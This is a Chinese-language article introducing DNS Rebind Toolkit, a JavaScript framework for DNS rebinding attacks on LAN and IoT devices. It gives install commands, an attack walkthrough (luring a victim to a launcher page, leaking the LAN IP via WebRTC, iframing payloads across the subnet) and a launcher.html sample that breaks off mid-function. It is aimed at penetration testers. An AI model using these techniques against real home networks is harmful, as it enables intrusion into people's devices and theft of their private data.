注意:本軟件僅適用于教育目的,請不要將其用于非法活動,工具作者和本站對用戶個人行為不負任何責任。
今天給大家介紹的是一款名叫DNS Rebind Toolkit的工具包,這是一款前段JavaScript工具包,滲透測試人員可利用該工具來創建DNS重綁定攻擊。

工具介紹
DNSRebind Toolkit是一款前端JavaScript框架,可用于對存在漏洞的主機或本地局域網服務進行DNS重綁定攻擊,類似的服務包括Google Home、Roku、SonosWiFi揚聲器、WiFi路由器、智能恒溫器以及其他的物聯網設備。在這款工具的幫助下,遠程攻擊者可繞過路由器的防火墻,然后直接與目標用戶家庭網絡內的設備進行交互,并提取出隱私信息,在某些情況下他們甚至還可以直接控制目標設備。
值得一提的是,滲透測試人員可利用該工具包創建自己的DNS重綁定攻擊,該工具包在payloads/目錄下提供了多種可用于現實攻擊的Payload。
工具安裝
克隆項目源碼:
git clone https://github.com/brannondorsey/dns-rebind-toolkit.git
cd dns-rebind-toolkit
安裝依賴組件
npm install
運行服務器:
sudo node server
API及工具使用
該工具包提供了兩種JavaScript對象,可用于配合創建DNS重綁定攻擊:
1. DNSRebindAttack:這個對象可以用來對包含漏洞的服務器進行攻擊。它可以創建、管理并于多個DNSRebindNode對象進行通信,DNSRebindAttack所生成的每一個Payload都必須包含一個DNSRebindNode對象。
2. DNSRebindNode:這個靜態類對象需要包含在每一個HTML Payload文件中,它可以對目標主機所運行的服務進行攻擊,并與相應的DNSRebindAttack對象進行通信。
在對有防火墻保護的LAN主機進行攻擊時,這兩個腳本需要配合使用,基本的攻擊過程如下:
1. 攻擊者向目標用戶發送一條指向惡意HTML頁面的鏈接地址,并執行攻擊。例如http://example.com/launcher.html,其中launcher.html包含了一個DNSRebindAttack實例。
2. 目標用戶點擊了惡意鏈接,并訪問了惡意頁面,其中http://example.com/launcher.html嵌入在一個iframe里面,頁面此時便會觸發攻擊執行。
3. DNSRebindAttack此時會搜索目標設備的本地IP地址(例如192.168.10.84),并根據這個IP地址來確定目標網絡的IP地址范圍(例如192.168.10.0-255)。
4. launcher.html負責對目標子網的IP地址范圍發動DNS重綁定攻擊。
5. DNSRebindAttack會在launcher.html頁面中嵌入一個包含了payload.html的iframe,每一個iframe中都包含一個DNSRebindNode對象,用于對IP地址范圍內的每一臺主機(端口8008)進行攻擊。
使用樣例
一次攻擊需要三個腳本和文件協同合作:
1. 一個HTML文件,其中包含DNSRebindAttack實例(例如launcher.html)。
2. 一個HTML文件,其中包含攻擊Payload(例如payload.html),該文件需要通過DNSRebindAttack并根據目標IP地址嵌入到launcher.html中。
3. 一臺DNS Rebind Toolkit服務器(server.js),用于傳遞文件并提取數據。
launcher.html
下面給出的是一個launcher.html文件樣本,你可以在項目目錄的examples/launcher.html中找到完整代碼:
Examplelauncher
// DNSRebindAttack has a static method thatuses WebRTC to leak the
// browser's IP address on the LAN. We'lluse this to guess the LAN's IP
// subnet. If the local IP is 192.168.1.89,we'll launch 255 iframes
// targetting all IP addresses from192.168.1.1-255
DNSRebindAttack.getLocalIPAddress()
.then(ip => launchRebindAttack(ip))
.catch(err => {
console.error(err)
// Looks like our nifty WebRTC leaktrick didn't work (doesn't work
// in some browsers). No biggie, mosthome networks are 192.168.1.1/24
launchRebindAttack('192.168.1.1')
})
function launchRebindAttack(localIp) {
// convert 192.168.1.1 into array from192.168.1.0 - 192.168.1.255
const first3Octets =localIp.substring(0, localIp.lastIndexOf('.'))
const ips =[...Array(256).keys()].map(octet => `${first3Octets}.${octet}`)
|